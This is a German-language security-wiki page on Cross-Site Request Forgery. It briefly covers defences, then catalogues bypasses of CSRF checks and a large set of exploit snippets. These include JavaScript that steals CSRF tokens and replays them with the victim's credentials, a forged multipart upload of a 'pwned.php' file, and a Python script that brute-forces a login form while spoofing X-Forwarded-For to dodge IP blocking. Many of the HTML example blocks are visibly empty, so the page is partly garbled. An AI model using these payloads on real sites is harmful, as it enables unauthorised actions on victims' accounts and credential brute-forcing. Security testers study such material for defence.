# CSRF (Cross Site Request Forgery) {{#include ../banners/hacktricks-training.md}} ## Cross-Site Request Forgery (CSRF) Explained **Cross-Site Request Forgery (CSRF)** ist eine Art von Sicherheitslücke in Webanwendungen. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer durchzuführen, indem sie deren authentifizierte Sitzungen ausnutzen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in der Plattform des Opfers eingeloggt ist, eine bösartige Seite besucht. Diese Seite löst dann Anfragen an das Konto des Opfers aus, z. B. durch Ausführen von JavaScript, Absenden von Formularen oder Laden von Bildern. ### Voraussetzungen für einen CSRF-Angriff Um eine CSRF-Schwachstelle auszunutzen, müssen mehrere Bedingungen erfüllt sein: 1. **Identify a Valuable Action**: Der Angreifer muss eine Aktion finden, die sich lohnt auszunutzen, z. B. das Ändern des Passworts, der E-Mail oder das Erhöhen von Rechten. 2. **Session Management**: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication Header verwaltet werden, da andere Header für diesen Zweck nicht manipuliert werden können. 3. **Absence of Unpredictable Parameters**: Die Anfrage darf keine unvorhersehbaren Parameter enthalten, da diese den Angriff verhindern können. ### Quick Check Sie können **die Anfrage in Burp abfangen** und die CSRF-Schutzmaßnahmen prüfen; um im Browser zu testen, können Sie auf **Copy as fetch** klicken und die Anfrage prüfen:
### Defending Against CSRF Mehrere Gegenmaßnahmen können implementiert werden, um CSRF-Angriffe zu verhindern: - [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Dieses Attribut verhindert, dass der Browser Cookies zusammen mit Cross-Site-Anfragen sendet. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). - [**Cross-origin resource sharing**](cors-bypass.md): Die CORS-Policy der Zielseite kann die Durchführbarkeit des Angriffs beeinflussen, besonders wenn der Angriff das Auslesen der Antwort von der Zielseite erfordert. [Learn about CORS bypass](cors-bypass.md). - **User Verification**: Die Abfrage des Benutzerpassworts oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen. - **Checking Referrer or Origin Headers**: Die Validierung dieser Header kann helfen sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Allerdings können schlecht implementierte Prüfungen durch geschicktes Konstruieren von URLs umgangen werden, z. B.: - Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL) - Using `http://example.com.mal.net` (URL starts with the trusted URL) - **Modifying Parameter Names**: Das Ändern der Parameternamen in POST- oder GET-Anfragen kann helfen, automatisierte Angriffe zu verhindern. - **CSRF Tokens**: Das Einbauen eines eindeutigen CSRF-Tokens in jede Sitzung und das Erfordern dieses Tokens in nachfolgenden Anfragen kann das Risiko von CSRF erheblich verringern. Die Wirksamkeit des Tokens kann durch Durchsetzung von CORS verbessert werden. Das Verstehen und Implementieren dieser Schutzmaßnahmen ist entscheidend, um die Sicherheit und Integrität von Webanwendungen zu gewährleisten. ## Defences Bypass ### From POST to GET (method-conditioned CSRF validation bypass) Einige Anwendungen führen die CSRF-Validierung nur für POST aus und überspringen sie für andere Verben. Ein gängiges Anti-Pattern in PHP sieht z. B. so aus: ```php public function csrf_check($fatal = true) { if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF // ... validate __csrf_token here ... } ``` Wenn der verwundbare Endpoint auch Parameter aus $_REQUEST akzeptiert, kannst du dieselbe Aktion als GET-Anfrage erneut ausführen und den CSRF-Token vollständig weglassen. Das verwandelt eine nur per POST zugängliche Aktion in eine GET-Aktion, die ohne Token erfolgreich ist. Example: - Original POST with token (intended): ```http POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1 Content-Type: application/x-www-form-urlencoded __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker","widgetType":"URL"}] ``` - Bypass by switching to GET (no token): ```http GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker","widgetType":"URL"}] HTTP/1.1 ``` Notes: - Dieses Muster taucht häufig zusammen mit reflected XSS auf, wenn Antworten fälschlicherweise als text/html statt als application/json ausgeliefert werden. - Die Kombination mit XSS senkt die Exploit-Hürden erheblich, da man einen einzigen GET-Link liefern kann, der sowohl den verwundbaren Codepfad auslöst als auch CSRF-Prüfungen vollständig umgeht. ### Lack of token Anwendungen implementieren möglicherweise einen Mechanismus, um **Tokens zu validieren**, wenn diese vorhanden sind. Es entsteht jedoch eine Schwachstelle, wenn die Validierung vollständig übersprungen wird, sobald der Token fehlt. Angreifer können dies ausnutzen, indem sie den Parameter entfernen, der den Token trägt, nicht nur dessen Wert. Dadurch können sie den Validierungsprozess umgehen und effektiv einen Cross-Site Request Forgery (CSRF) Angriff durchführen. ### CSRF token is not tied to the user session Anwendungen, die CSRF-Tokens nicht an Benutzersitzungen binden, stellen ein erhebliches **Sicherheitsrisiko** dar. Diese Systeme überprüfen Tokens gegen einen **globalen Pool**, anstatt sicherzustellen, dass jeder Token an die auslösende Sitzung gebunden ist. So gehen Angreifer hierbei vor: 1. Sich mit dem eigenen Account authentifizieren. 2. Einen gültigen CSRF-Token aus dem globalen Pool beschaffen. 3. Diesen Token in einem CSRF-Angriff gegen ein Opfer verwenden. Diese Schwachstelle ermöglicht es Angreifern, unautorisierte Anfragen im Auftrag des Opfers zu stellen, indem sie den **unzureichenden Token-Validierungsmechanismus** der Anwendung ausnutzen. ### Method bypass Wenn die Anfrage eine "**weird**" **method** verwendet, prüfe, ob die **method override functionality** funktioniert. Zum Beispiel, wenn PUT verwendet wird, kannst du versuchen, POST zu verwenden und zu senden: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ Das kann auch funktionieren, indem man das **\_method parameter inside the a POST request** sendet oder die **headers** verwendet: - _X-HTTP-Method_ - _X-HTTP-Method-Override_ - _X-Method-Override_ ### Custom header token bypass Wenn die Anfrage einen **custom header** mit einem **token** als **CSRF protection method** hinzufügt, dann: - Teste die Anfrage ohne den **Customized Token and also header.** - Teste die Anfrage mit exakt **same length but different token**. ### CSRF token is verified by a cookie Anwendungen können CSRF-Schutz implementieren, indem sie den Token sowohl in einem Cookie als auch in einem Request-Parameter duplizieren, oder indem sie ein CSRF-Cookie setzen und prüfen, ob der im Backend empfangene Token mit dem Cookie übereinstimmt. Die Anwendung validiert Anfragen, indem sie überprüft, ob der Token im Request-Parameter dem Wert im Cookie entspricht. Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwachstellen besitzt, die es einem Angreifer erlauben, ein CSRF-Cookie im Browser des Opfers zu setzen, wie z. B. eine CRLF-Schwachstelle. Der Angreifer kann dies ausnutzen, indem er ein täuschendes Bild lädt, das das Cookie setzt, und anschließend den CSRF-Angriff startet. Im Folgenden ein Beispiel, wie ein solcher Angriff aufgebaut sein könnte: ```html
``` > [!TIP] > Beachte, dass, wenn der **csrf token in Verbindung mit dem session cookie steht, dieser Angriff nicht funktionieren wird**, da du die Session des Opfers setzen müsstest und dich damit selbst angreifst. ### Änderung des Content-Type Laut [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) sind, um **preflight**-Anfragen bei Verwendung der **POST**-Methode zu **vermeiden**, folgende Content-Type-Werte erlaubt: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** Beachte jedoch, dass die **Server-Logik variieren kann**, abhängig vom verwendeten **Content-Type**, daher solltest du die genannten Werte und andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ ausprobieren. Beispiel (von [here](https://brycec.me/posts/corctf_2021_challenges)) zum Senden von JSON-Daten als text/plain: ```html
``` ### Preflight-Anfragen für JSON-Daten umgehen Beim Versuch, JSON-Daten über eine POST-Anfrage zu senden, ist die Verwendung von `Content-Type: application/json` in einem HTML-Formular nicht direkt möglich. Ebenso löst die Nutzung von `XMLHttpRequest` zum Senden dieses Content-Types eine Preflight-Anfrage aus. Dennoch gibt es Strategien, diese Einschränkung eventuell zu umgehen und zu prüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet: 1. **Andere Content-Types verwenden**: Verwende `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem du `enctype="text/plain"` im Formular setzt. Dieser Ansatz testet, ob das Backend die Daten unabhängig vom Content-Type nutzt. 2. **Content-Type ändern**: Um eine Preflight-Anfrage zu vermeiden und gleichzeitig sicherzustellen, dass der Server den Inhalt als JSON erkennt, kannst du die Daten mit `Content-Type: text/plain; application/json` senden. Das löst keine Preflight-Anfrage aus, kann aber vom Server korrekt verarbeitet werden, wenn er so konfiguriert ist, `application/json` zu akzeptieren. 3. **SWF/Flash-Datei nutzen**: Eine weniger verbreitete, aber mögliche Methode besteht darin, eine SWF-/Flash-Datei zu verwenden, um solche Beschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Referrer / Origin-Prüfung umgehen **Referer-Header vermeiden** Anwendungen prüfen den 'Referer'-Header möglicherweise nur, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann das folgende HTML-meta-Tag verwendet werden: ```xml ``` Dies stellt sicher, dass der 'Referer'-Header weggelassen wird, wodurch möglicherweise Validierungsprüfungen in einigen Anwendungen umgangen werden. **Regexp bypasses** {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} Um den Domainnamen des Servers in der URL festzulegen, den der Referrer in den Parametern senden wird, können Sie Folgendes tun: ```html
``` ### **HEAD method bypass** Der erste Teil von [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) erklärt, dass [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), ein Router so konfiguriert ist, **HEAD requests als GET requests behandelt** werden ohne response body – ein gängiger Workaround, der nicht auf Oak beschränkt ist. Anstatt eines spezifischen Handlers, der HEAD reqs behandelt, werden diese einfach **dem GET handler übergeben, aber die App entfernt einfach den response body**. Daher, wenn ein GET request eingeschränkt wird, könntest du einfach **einen HEAD request senden, der als GET request verarbeitet wird**. ## **Exploit Examples** ### **Exfiltrating CSRF Token** Wenn ein **CSRF token** als **defence** verwendet wird, könntest du versuchen, ihn zu **exfiltrieren**, indem du eine [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) vulnerability oder eine [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability ausnutzt. ### **GET using HTML tags** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` Weitere HTML5-Tags, die verwendet werden können, um automatisch eine GET request zu senden, sind: ```html ``` ### Formular-GET-Anfrage ```html
``` ### Formular-POST-Anfrage ```html
``` ### Formular-POST-Anfrage durch iframe ```html
``` ### **Ajax POST request** ```html ``` ### multipart/form-data POST-Anfrage ```javascript myFormData = new FormData() var blob = new Blob([""], { type: "text/text" }) myFormData.append("newAttachment", blob, "pwned.php") fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include", headers: { "Content-Type": "application/x-www-form-urlencoded" }, mode: "no-cors", }) ``` ### multipart/form-data POST-Anfrage v2 ```javascript // https://www.exploit-db.com/exploits/20009 var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest() xhr.withCredentials = true xhr.open("POST", url, true) // MIME POST request. xhr.setRequestHeader( "Content-Type", "multipart/form-data, boundary=" + boundary ) xhr.setRequestHeader("Content-Length", fileSize) var body = "--" + boundary + "\r\n" body += 'Content-Disposition: form-data; name="' + nameVar + '"; filename="' + fileName + '"\r\n' body += "Content-Type: " + ctype + "\r\n\r\n" body += fileData + "\r\n" body += "--" + boundary + "--" //xhr.send(body); xhr.sendAsBinary(body) ``` ### Form POST request aus einem iframe ```html <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **CSRF Token stehlen und eine POST request senden** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() xhr.open("POST", POST_URL, true) xhr.withCredentials = true // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") // This is for debugging and can be removed xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy") } function getTokenJS() { var xhr = new XMLHttpRequest() // This tels it to return it as a HTML document xhr.responseType = "document" xhr.withCredentials = true // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true) xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token") // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value) } } // Make the request xhr.send(null) } var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` ### **CSRF Token stehlen und eine Post request mittels iframe, form und Ajax senden** ```html
``` ### **CSRF Token stehlen und eine POST-Anfrage mit einem iframe und einem form senden** ```html ``` ### **Token stehlen und es mit 2 iframes senden** ```html
``` ### **POSTSteal CSRF token mit Ajax und einen POST mit einem Formular senden** ```html
``` ### CSRF mit Socket.IO ```html ``` ## CSRF Login Brute Force Der Code kann verwendet werden, um ein Login-Formular unter Verwendung eines CSRF token per Brut Force anzugreifen (er nutzt außerdem den Header X-Forwarded-For, um zu versuchen, ein mögliches IP blacklisting zu umgehen): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## Werkzeuge - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) ## Referenzen - [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) - [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) {{#include ../banners/hacktricks-training.md}}